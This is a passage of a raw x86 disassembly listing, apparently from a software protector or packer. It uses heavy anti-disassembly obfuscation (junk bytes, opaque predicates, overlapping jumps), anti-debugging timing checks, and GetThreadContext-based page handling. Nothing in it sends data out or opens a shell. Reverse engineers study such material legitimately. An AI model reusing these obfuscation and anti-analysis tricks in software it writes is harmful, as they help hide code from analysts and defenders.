		jmp	short loc_4B9CA2
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B9C98:				; CODE XREF: .text:004B9CA4j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B9CA6
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B9CA2:				; CODE XREF: .text:004B9C93j
		xor	eax, eax
		jz	short loc_4B9C98


loc_4B9CA6:				; CODE XREF: .text:004B9C9Fj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B9C8C


loc_4B9CAF:				; CODE XREF: .text:loc_4B9C8Cj
		jmp	near ptr 92B23A15h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	byte ptr [ebp-9CCh], 1
		jo	short loc_4B9CC8
		jl	short loc_4B9CC6


loc_4B9CC3:				; CODE XREF: .text:loc_4B9CC6j
					; .text:loc_4B9CC8j
		jmp	short loc_4B9CCA
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B9CC6:				; CODE XREF: .text:004B9CC1j
		jz	short loc_4B9CC3


loc_4B9CC8:				; CODE XREF: .text:004B9CBFj
		jmp	short loc_4B9CC3
; ---------------------------------------------------------------------------


loc_4B9CCA:				; CODE XREF: .text:loc_4B9CC3j
					; .text:004BC0E2j
		mov	eax, dword_4F4750
		mov	ecx, [eax]
		push	ecx
		call	sub_4B7C87
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4BC0E7
		pusha
		xor	eax, eax
		jnz	short loc_4B9CEE
		jmp	short loc_4B9D03
; ---------------------------------------------------------------------------


loc_4B9CEE:				; CODE XREF: .text:004B9CEAj
		jmp	short loc_4B9D23
; ---------------------------------------------------------------------------
		dd 7A1875C0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_4B9CF5:				; CODE XREF: .text:loc_4B9D03j
		jo	short loc_4B9D05
		jmp	short near ptr loc_4B9D05+1
; ---------------------------------------------------------------------------
		db 0E8h, 72h, 0Eh	; CODE XREF: .text:loc_4B9D72j
		dd 15FFF179h
		db 0, 79h, 9
; ---------------------------------------------------------------------------


loc_4B9D03:				; CODE XREF: .text:004B9CECj
		jz	short loc_4B9CF5


loc_4B9D05:				; CODE XREF: .text:loc_4B9CF5j
					; .text:004B9CF7j
		jmp	short near ptr byte_4B9C8E
; ---------------------------------------------------------------------------
		db 0DBh
		dd 33A0F07Ah, 3E86861h,	958B0000h, 0FFFFF5D0h, 0E415FF52h
		dd 85004ED0h
; ---------------------------------------------------------------------------
		ror	byte ptr [edi],	84h


loc_4B9D23:				; CODE XREF: .text:loc_4B9CEEj
		mov	ebx, 8B000023h
		test	esi, eax
		std
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
		jmp	large dword ptr	ds:0FFh
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_4B9D49
		mov	ecx, dword_4F4764
		cmp	dword ptr [ecx+20h], 0
		jz	short loc_4B9D49
		mov	byte ptr [ebp-210h], 0


loc_4B9D49:				; CODE XREF: .text:004B9D34j
					; .text:004B9D40j
		push	offset dword_4F45B0
		call	dword_4ED1A8	; RtlEnterCriticalSection
		pusha
		xor	eax, eax
		jnz	short loc_4B9D5B
		jmp	short loc_4B9D70
; ---------------------------------------------------------------------------


loc_4B9D5B:				; CODE XREF: .text:004B9D57j
		jmp	short loc_4B9D90
; ---------------------------------------------------------------------------
		db 0C0h, 75h, 18h
		db 7Ah,	0Ch
; ---------------------------------------------------------------------------


loc_4B9D62:				; CODE XREF: .text:loc_4B9D70j
		jo	short loc_4B9D72
		jmp	short near ptr loc_4B9D72+1
; ---------------------------------------------------------------------------
		dw 72E8h
		dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------


loc_4B9D70:				; CODE XREF: .text:004B9D59j
		jz	short loc_4B9D62


loc_4B9D72:				; CODE XREF: .text:loc_4B9D62j
					; .text:004B9D64j
		jmp	short near ptr byte_4B9CF9+2
; ---------------------------------------------------------------------------
		dd 0A0F07ADBh, 958B6133h, 0FFFFF5D0h, 4F4750A1h, 44A8B00h
		dd 0F08483Bh, 232785h
; ---------------------------------------------------------------------------


loc_4B9D90:				; CODE XREF: .text:loc_4B9D5Bj
		add	[ebx-9CB6Bh], cl
		inc	dword ptr [ecx+0FFE2h]
		add	[ebp-7CC48B2Eh], al
		cmp	eax, offset dword_4F4760
		add	[esi+32h], dh
		mov	eax, dword_4ED3B0
		xor	eax, dword_4ED3FC
		xor	eax, dword_4ED3F0
		and	eax, 8
		test	eax, eax
		jz	short loc_4B9DDC
		call	dword_4ED03C	; GetTickCount
		sub	eax, dword_4F4760
		cmp	eax, 493E0h	; CODE XREF: .text:loc_4B9E48j
		jbe	short loc_4B9DDC
		mov	byte ptr [ebp-9CCh], 0


loc_4B9DDC:				; CODE XREF: .text:004B9DC0j
					; .text:004B9DD3j
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4B9E13 ; CODE	XREF: .text:loc_4B9E13j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B9DEB:				; CODE XREF: .text:004B9E0Cj
		jmp	short loc_4B9E0A
; ---------------------------------------------------------------------------


loc_4B9DED:				; CODE XREF: .text:loc_4B9E0Aj
		xor	ecx, ecx


loc_4B9DEF:				; CODE XREF: .text:004B9DFEj
		jz	short $+2
		jmp	short loc_4B9E03
; ---------------------------------------------------------------------------


loc_4B9DF3:				; CODE XREF: .text:004B9E07j
		stc
		xor	ecx, 3
		jz	short near ptr dword_4B9D74+15h
		jmp	short loc_4B9E00
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B9DFC:				; CODE XREF: .text:loc_4B9E00j
		jmp	short loc_4B9E0E
; ---------------------------------------------------------------------------
		jz	short loc_4B9DEF


loc_4B9E00:				; CODE XREF: .text:004B9DF9j
		jnb	short loc_4B9DFC
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B9E03:				; CODE XREF: .text:004B9DF1j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B9DF3
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B9E0A:				; CODE XREF: .text:loc_4B9DEBj
		jmp	short loc_4B9DED
; ---------------------------------------------------------------------------
		jmp	short loc_4B9DEB
; ---------------------------------------------------------------------------


loc_4B9E0E:				; CODE XREF: .text:loc_4B9DFCj
		repne sbb al, 0DBh
		jmp	short loc_4B9E16
; ---------------------------------------------------------------------------


loc_4B9E13:				; CODE XREF: .text:004B9DE6j
		jmp	short near ptr loc_4B9DE6+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B9E16:				; CODE XREF: .text:004B9E11j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	dword ptr [ebp-0A34h], 80010001h
		pusha
		xor	eax, eax
		jnz	short loc_4B9E31
		jmp	short loc_4B9E46
; ---------------------------------------------------------------------------


loc_4B9E31:				; CODE XREF: .text:004B9E2Dj
		jmp	short loc_4B9E66
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4B9E38:				; CODE XREF: .text:loc_4B9E46j
		jo	short loc_4B9E48
		jmp	short near ptr loc_4B9E48+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4B9E4F


loc_4B9E46:				; CODE XREF: .text:004B9E2Fj
		jz	short loc_4B9E38


loc_4B9E48:				; CODE XREF: .text:loc_4B9E38j
					; .text:004B9E3Aj
		jmp	short near ptr loc_4B9DCE+3
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4B9E4F:				; CODE XREF: .text:004B9E44j
		popa
		mov	ecx, [ebp-0A30h]
		cmp	dword ptr [ecx], 1
		jnz	loc_4BB66F
		jo	short loc_4B9E68
		jl	short loc_4B9E66


loc_4B9E63:				; CODE XREF: .text:loc_4B9E66j
					; .text:loc_4B9E68j
		jmp	short loc_4B9E6A
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B9E66:				; CODE XREF: .text:loc_4B9E31j
					; .text:004B9E61j
		jz	short loc_4B9E63


loc_4B9E68:				; CODE XREF: .text:004B9E5Fj
		jmp	short loc_4B9E63
; ---------------------------------------------------------------------------


loc_4B9E6A:				; CODE XREF: .text:loc_4B9E63j
		mov	edx, [ebp-0A30h]
		mov	eax, [edx+0Ch]
		xor	eax, dword_4ED418
		mov	[ebp-0A38h], eax
		xor	ecx, ecx
		mov	cl, byte_4F4741
		test	ecx, ecx
		jz	loc_4BA55D
		mov	edx, dword_4ED418
		xor	edx, 80000001h
		cmp	[ebp-0A38h], edx
		jnz	loc_4BA55D
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh	; CODE XREF: .text:loc_4B9F2Dj
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B9ECA


loc_4B9EC7:				; CODE XREF: .text:004B9EE8j
		jmp	short near ptr loc_4B9EEA+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B9ECA:				; CODE XREF: .text:004B9EC5j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B9EDD
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B9ED3:				; CODE XREF: .text:004B9EDFj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B9EE1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B9EDD:				; CODE XREF: .text:004B9ECEj
		xor	eax, eax
		jz	short loc_4B9ED3


loc_4B9EE1:				; CODE XREF: .text:004B9EDAj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B9EC7


loc_4B9EEA:				; CODE XREF: .text:loc_4B9EC7j
		jmp	near ptr 92B23C50h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	eax, [ebp-0A30h]
		mov	ecx, [eax+24h]
		mov	[ebp-0A48h], ecx
		cmp	dword_4F476C, 0
		jnz	loc_4BA07D
		pusha
		xor	eax, eax
		jnz	short loc_4B9F16
		jmp	short loc_4B9F2B
; ---------------------------------------------------------------------------


loc_4B9F16:				; CODE XREF: .text:004B9F12j
		jmp	short loc_4B9F4B
; ---------------------------------------------------------------------------
		dd 7A1875C0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_4B9F1D:				; CODE XREF: .text:loc_4B9F2Bj
		jo	short loc_4B9F2D
		jmp	short near ptr loc_4B9F2D+1
; ---------------------------------------------------------------------------
		db 0E8h, 72h, 0Eh
		dd 15FFF179h
		db 0, 79h, 9
; ---------------------------------------------------------------------------


loc_4B9F2B:				; CODE XREF: .text:004B9F14j
		jz	short loc_4B9F1D


loc_4B9F2D:				; CODE XREF: .text:loc_4B9F1Dj
					; .text:004B9F1Fj
		jmp	short near ptr loc_4B9EB5+1
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [edx-10h]
		mov	al, ds:0CC686133h
		add	al, [eax]
		add	[edx+0], ch
		lea	edx, [ebp-0D14h]
		push	edx
		call	_memset_0
		add	esp, 0Ch


loc_4B9F4B:				; CODE XREF: .text:loc_4B9F16j
		mov	dword ptr [ebp-0D14h], 10001h
		lea	eax, [ebp-0D14h]
		push	eax
		mov	ecx, dword_4F4750
		mov	edx, [ecx+4]
		push	edx
		call	dword_4ED0E0	; GetThreadContext
		test	eax, eax


loc_4B9F6E:				; DATA XREF: sub_493DB7+6o
					; sub_493EDB+118o
		jz	loc_4BA07D
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B9F97


loc_4B9F94:				; CODE XREF: .text:004B9FB5j
		jmp	short near ptr loc_4B9FB7+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B9F97:				; CODE XREF: .text:004B9F92j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B9FAA
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B9FA0:				; CODE XREF: .text:004B9FACj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B9FAE
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B9FAA:				; CODE XREF: .text:004B9F9Bj
		xor	eax, eax
		jz	short loc_4B9FA0


loc_4B9FAE:				; CODE XREF: .text:004B9FA7j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B9F94


loc_4B9FB7:				; CODE XREF: .text:loc_4B9F94j
		jmp	near ptr 92B23D1Dh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	eax, [ebp-0A48h] ; CODE	XREF: .text:004BA032j
		sub	eax, dword_4F4754
		shr	eax, 0Ch
		mov	[ebp-0D18h], eax
		cmp	dword ptr [ebp-0D18h], 0
		jl	loc_4BA07D
		mov	ecx, [ebp-0D18h]
		cmp	ecx, dword_4F4768
		jge	loc_4BA07D
		mov	edx, [ebp-0C5Ch]
		sub	edx, dword_4F4754
		shr	edx, 0Ch
		mov	[ebp-0D1Ch], edx
		mov	eax, [ebp-0D18h]
		cmp	eax, [ebp-0D1Ch]
		jz	short loc_4BA07D
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BA04E ; CODE	XREF: .text:loc_4BA04Ej
; ---------------------------------------------------------------------------
		db 0D2h
; ---------------------------------------------------------------------------


loc_4BA024:				; CODE XREF: .text:loc_4BA09Bj
		jo	short loc_4BA034


loc_4BA026:				; CODE XREF: .text:004BA047j
		jmp	short loc_4BA045
; ---------------------------------------------------------------------------


loc_4BA028:				; CODE XREF: .text:loc_4BA045j
		xor	ecx, ecx


loc_4BA02A:				; CODE XREF: .text:004BA039j
		jz	short $+2
		jmp	short near ptr loc_4BA03D+1
; ---------------------------------------------------------------------------


loc_4BA02E:				; CODE XREF: .text:004BA042j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4B9FC0+4


loc_4BA034:				; CODE XREF: .text:loc_4BA024j
		jmp	short loc_4BA03B
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BA037:				; CODE XREF: .text:loc_4BA03Bj
		jmp	short loc_4BA049
; ---------------------------------------------------------------------------
		jz	short loc_4BA02A


loc_4BA03B:				; CODE XREF: .text:loc_4BA034j
		jnb	short loc_4BA037


loc_4BA03D:				; CODE XREF: .text:004BA02Cj
		repne sbb bl, bl
		xor	ebx, ebx
		jmp	short loc_4BA02E
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BA045:				; CODE XREF: .text:loc_4BA026j
		jmp	short loc_4BA028
; ---------------------------------------------------------------------------
		jmp	short loc_4BA026
; ---------------------------------------------------------------------------


loc_4BA049:				; CODE XREF: .text:loc_4BA037j
		repne sbb al, 0DBh
		jmp	short loc_4BA051
; ---------------------------------------------------------------------------


loc_4BA04E:				; CODE XREF: .text:004BA021j
		jmp	short near ptr loc_4BA021+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BA051:				; CODE XREF: .text:004BA04Cj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	ecx, dword_4F4768
		shl	ecx, 0Ch
		mov	edx, dword_4F4754
		add	edx, ecx
		mov	dword_4F4754, edx
		jo	short loc_4BA07B
		jl	short loc_4BA079


loc_4BA076:				; CODE XREF: .text:loc_4BA079j
					; .text:loc_4BA07Bj
		jmp	short loc_4BA07D
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BA079:				; CODE XREF: .text:004BA074j
		jz	short loc_4BA076


loc_4BA07B:				; CODE XREF: .text:004BA072j
		jmp	short loc_4BA076
; ---------------------------------------------------------------------------


loc_4BA07D:				; CODE XREF: .text:004B9F09j
					; .text:loc_4B9F6Ej ...
		pusha
		xor	eax, eax
		jnz	short loc_4BA084
		jmp	short loc_4BA099
; ---------------------------------------------------------------------------


loc_4BA084:				; CODE XREF: .text:004BA080j
		jmp	short loc_4BA0B9
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4BA08B:				; CODE XREF: .text:loc_4BA099j
		jo	short loc_4BA09B
		jmp	short near ptr loc_4BA09B+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh
		db 9
; ---------------------------------------------------------------------------


loc_4BA099:				; CODE XREF: .text:004BA082j
		jz	short loc_4BA08B


loc_4BA09B:				; CODE XREF: .text:loc_4BA08Bj
					; .text:004BA08Dj
		jmp	short loc_4BA024
; ---------------------------------------------------------------------------
		db 0DBh, 7Ah, 0F0h
		dd 8B6133A0h, 0FFF5D085h, 18488BFFh, 0F5BC8D89h, 958BFFFFh
		dd 0FFFFF5D0h
		db 33h
; ---------------------------------------------------------------------------


loc_4BA0B9:				; CODE XREF: .text:loc_4BA084j
		rol	byte ptr [ebx+0F00207Ah], 94h
		ror	byte ptr [eax-0A3B7Bh],	0FFh
		mov	ecx, [ebp-0A48h]
		sub	ecx, dword_4F4754
		shr	ecx, 0Ch
		mov	[ebp-0A40h], ecx
		xor	edx, edx
		mov	dl, byte_4F4742
		test	edx, edx
		jz	loc_4BA2A3
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BA10F


loc_4BA10C:				; CODE XREF: .text:004BA12Dj
		jmp	short near ptr loc_4BA12F+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BA10F:				; CODE XREF: .text:004BA10Aj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BA122
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BA118:				; CODE XREF: .text:004BA124j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BA126
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BA122:				; CODE XREF: .text:004BA113j
		xor	eax, eax
		jz	short loc_4BA118


loc_4BA126:				; CODE XREF: .text:004BA11Fj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BA10C


loc_4BA12F:				; CODE XREF: .text:loc_4BA10Cj
		jmp	near ptr 92B23E95h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	eax, [ebp-0A40h]
		sub	eax, 1
		test	eax, eax
		jl	short loc_4BA1C4
		push	1
		mov	ecx, [ebp-0A40h]
		xor	edx, edx
		mov	dl, byte_4F1F77[ecx]
		mov	eax, [ebp-0A40h]
		xor	ecx, ecx
		mov	cl, byte_4F1F78[eax]
		mov	esi, dword_4ED3A8[edx*4]
		xor	esi, dword_4ED3A8[ecx*4]


loc_4BA171:				; CODE XREF: .text:004BA1DFj
		mov	edx, [ebp-0A40h]
		xor	eax, eax
		mov	al, byte_4F1F79[edx]
		xor	esi, dword_4ED3A8[eax*4]
		mov	eax, [ebp-0A40h]
		sub	eax, 1
		cdq
		mov	ecx, 1Ch
		idiv	ecx
		mov	ecx, edx
		shr	esi, cl
		and	esi, 0Fh
		mov	edx, [ebp-0A40h]
		lea	eax, [edx+esi-10h]
		mov	ecx, dword_4F474C
		lea	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp-0A40h]
		sub	eax, 1
		push	eax
		call	loc_4BC15F
		add	esp, 0Ch


loc_4BA1C4:				; CODE XREF: .text:004BA143j
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BA1FB ; CODE	XREF: .text:loc_4BA1FBj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BA1D3:				; CODE XREF: .text:004BA1F4j
		jmp	short loc_4BA1F2
; ---------------------------------------------------------------------------


loc_4BA1D5:				; CODE XREF: .text:loc_4BA1F2j
		xor	ecx, ecx


loc_4BA1D7:				; CODE XREF: .text:004BA1E6j
		jz	short $+2
		jmp	short loc_4BA1EB
; ---------------------------------------------------------------------------


loc_4BA1DB:				; CODE XREF: .text:004BA1EFj
		stc
		xor	ecx, 3
		jz	short loc_4BA171
		jmp	short loc_4BA1E8
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BA1E4:				; CODE XREF: .text:loc_4BA1E8j
		jmp	short loc_4BA1F6
; ---------------------------------------------------------------------------
		jz	short loc_4BA1D7


loc_4BA1E8:				; CODE XREF: .text:004BA1E1j
		jnb	short loc_4BA1E4
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BA1EB:				; CODE XREF: .text:004BA1D9j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BA1DB
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BA1F2:				; CODE XREF: .text:loc_4BA1D3j
		jmp	short loc_4BA1D5
; ---------------------------------------------------------------------------
		jmp	short loc_4BA1D3
; ---------------------------------------------------------------------------


loc_4BA1F6:				; CODE XREF: .text:loc_4BA1E4j
		repne sbb al, 0DBh
		jmp	short loc_4BA1FE
; ---------------------------------------------------------------------------


loc_4BA1FB:				; CODE XREF: .text:004BA1CEj
		jmp	short near ptr loc_4BA1CE+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BA1FE:				; CODE XREF: .text:004BA1F9j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	ecx, [ebp-0A40h]
		add	ecx, 1
		cmp	ecx, dword_4F4768
		jge	short loc_4BA298
		push	1
		mov	edx, [ebp-0A40h]
		xor	eax, eax
		mov	al, byte_4F1F79[edx]
		mov	ecx, [ebp-0A40h]
		xor	edx, edx
		mov	dl, byte_4F1F7A[ecx]
		mov	esi, dword_4ED3A8[eax*4]
		xor	esi, dword_4ED3A8[edx*4]
		mov	eax, [ebp-0A40h]
		xor	ecx, ecx
		mov	cl, byte_4F1F7B[eax]
		xor	esi, dword_4ED3A8[ecx*4]
		mov	eax, [ebp-0A40h]
		add	eax, 1
		cdq
		mov	ecx, 1Ch
		idiv	ecx
		mov	ecx, edx
		shr	esi, cl
		and	esi, 0Fh
		mov	edx, [ebp-0A40h]
		lea	eax, [edx+esi+10h]
		mov	ecx, dword_4F474C
		lea	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp-0A40h]
		add	eax, 1
		push	eax
		call	loc_4BC15F
		add	esp, 0Ch


loc_4BA298:				; CODE XREF: .text:004BA217j
		jo	short loc_4BA2A1
		jl	short loc_4BA29F


loc_4BA29C:				; CODE XREF: .text:loc_4BA29Fj
					; .text:loc_4BA2A1j
		jmp	short loc_4BA2A3
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BA29F:				; CODE XREF: .text:004BA29Aj
		jz	short loc_4BA29C


loc_4BA2A1:				; CODE XREF: .text:loc_4BA298j
		jmp	short loc_4BA29C
; ---------------------------------------------------------------------------


loc_4BA2A3:				; CODE XREF: .text:004BA0E6j
					; .text:loc_4BA29Cj
		cmp	dword ptr [ebp-0A40h], 0
		jl	loc_4BA558
		mov	ecx, [ebp-0A40h]
		cmp	ecx, dword_4F4768
		jge	loc_4BA558
		mov	edx, [ebp-9CCh]
		and	edx, 0FFh
		test	edx, edx
		jz	loc_4BA383
		push	0
		mov	esi, [ebp-0A40h]
		shl	esi, 4
		mov	eax, [ebp-0A40h]
		and	eax, 80000007h
		jns	short loc_4BA2F3
		dec	eax
		or	eax, 0FFFFFFF8h
		inc	eax


loc_4BA2F3:				; CODE XREF: .text:004BA2ECj
		xor	ecx, ecx
		mov	cl, byte_4F1F78[eax]
		mov	edx, [ebp-0A40h]
		and	edx, 80000007h
		jns	short loc_4BA30E
		dec	edx
		or	edx, 0FFFFFFF8h
		inc	edx


loc_4BA30E:				; CODE XREF: .text:004BA307j
		xor	eax, eax
		mov	al, byte_4F1F79[edx]
		mov	edi, dword_4ED3A8[ecx*4]
		xor	edi, dword_4ED3A8[eax*4]
		mov	ecx, [ebp-0A40h]
		and	ecx, 80000007h
		jns	short loc_4BA337
		dec	ecx
		or	ecx, 0FFFFFFF8h
		inc	ecx


loc_4BA337:				; CODE XREF: .text:004BA330j
		xor	edx, edx
		mov	dl, byte_4F1F7A[ecx]
		xor	edi, dword_4ED3A8[edx*4]
		mov	eax, [ebp-0A40h]
		cdq
		mov	ecx, 1Ch
		idiv	ecx
		mov	ecx, edx
		shr	edi, cl
		and	edi, 0Fh
		add	esi, edi
		mov	edx, dword_4F474C
		lea	eax, [edx+esi*4]
		push	eax
		mov	ecx, [ebp-0A40h]
		push	ecx
		call	loc_4BC15F
		add	esp, 0Ch
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4BA558


loc_4BA383:				; CODE XREF: .text:004BA2D0j
		cmp	dword ptr [ebp-2Ch], 0
		jnz	short loc_4BA3B0
		mov	edx, dword_4ED3B0
		xor	edx, dword_4ED3FC
		xor	edx, dword_4ED3F0
		and	edx, 200000h
		test	edx, edx
		jz	short loc_4BA3B0
		mov	eax, dword_4F4764
		mov	ecx, [eax+10h]
		mov	[ebp-2Ch], ecx


loc_4BA3B0:				; CODE XREF: .text:004BA387j
					; .text:004BA3A3j
		cmp	dword ptr [ebp-2Ch], 0
		jz	short loc_4BA3DD
		mov	edx, [ebp-0A44h] ; CODE	XREF: .text:loc_4BA42Ej
		cmp	edx, [ebp-2Ch]
		jb	short loc_4BA3DD
		mov	eax, [ebp-2Ch]
		add	eax, 10000h
		cmp	[ebp-0A44h], eax
		jnb	short loc_4BA3DD
		mov	ecx, dword_4F4754
		mov	[ebp-0A44h], ecx


loc_4BA3DD:				; CODE XREF: .text:004BA3B4j
					; .text:004BA3BFj ...
		mov	edx, [ebp-0A44h]
		cmp	edx, dword_4F4754
		jb	short loc_4BA407
		mov	eax, dword_4F4768
		shl	eax, 0Ch
		mov	ecx, dword_4F4754
		add	ecx, eax
		cmp	[ebp-0A44h], ecx
		jbe	loc_4BA54E


loc_4BA407:				; CODE XREF: .text:004BA3E9j
		mov	word ptr [ebp-0D24h], 0
		pusha
		xor	eax, eax
		jnz	short loc_4BA417
		jmp	short loc_4BA42C
; ---------------------------------------------------------------------------


loc_4BA417:				; CODE XREF: .text:004BA413j
		jmp	short loc_4BA44C
; ---------------------------------------------------------------------------
		db 0C0h, 75h, 18h
		db 7Ah,	0Ch
; ---------------------------------------------------------------------------


loc_4BA41E:				; CODE XREF: .text:loc_4BA42Cj
		jo	short loc_4BA42E
		jmp	short near ptr loc_4BA42E+1
; ---------------------------------------------------------------------------
		dw 72E8h
		dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------


loc_4BA42C:				; CODE XREF: .text:004BA415j
		jz	short loc_4BA41E


loc_4BA42E:				; CODE XREF: .text:loc_4BA41Ej
					; .text:004BA420j
		jmp	short near ptr loc_4BA3B6+1
; ---------------------------------------------------------------------------
		dd 0A0F07ADBh, 958B6133h, 0FFFFF5BCh, 4750A152h, 88B004Fh
		dd 0CFBFE851h, 0C483FFFFh
; ---------------------------------------------------------------------------


loc_4BA44C:				; CODE XREF: .text:loc_4BA417j
		or	[ecx-0D1F7Bh], cl
		push	dword ptr [eax+7]
		jl	short loc_4BA45A


loc_4BA457:				; CODE XREF: .text:loc_4BA45Aj
					; .text:004BA45Cj
		jmp	short loc_4BA45E
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BA45A:				; CODE XREF: .text:004BA455j
		jz	short loc_4BA457
		jmp	short loc_4BA457
; ---------------------------------------------------------------------------


loc_4BA45E:				; CODE XREF: .text:loc_4BA457j
		mov	edx, [ebp-0A44h]
		add	edx, 1000h
		mov	[ebp-0A44h], edx
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BA493


loc_4BA490:				; CODE XREF: .text:004BA4B1j
		jmp	short near ptr loc_4BA4B3+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BA493:				; CODE XREF: .text:004BA48Ej
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BA4A6
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BA49C:				; CODE XREF: .text:004BA4A8j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BA4AA
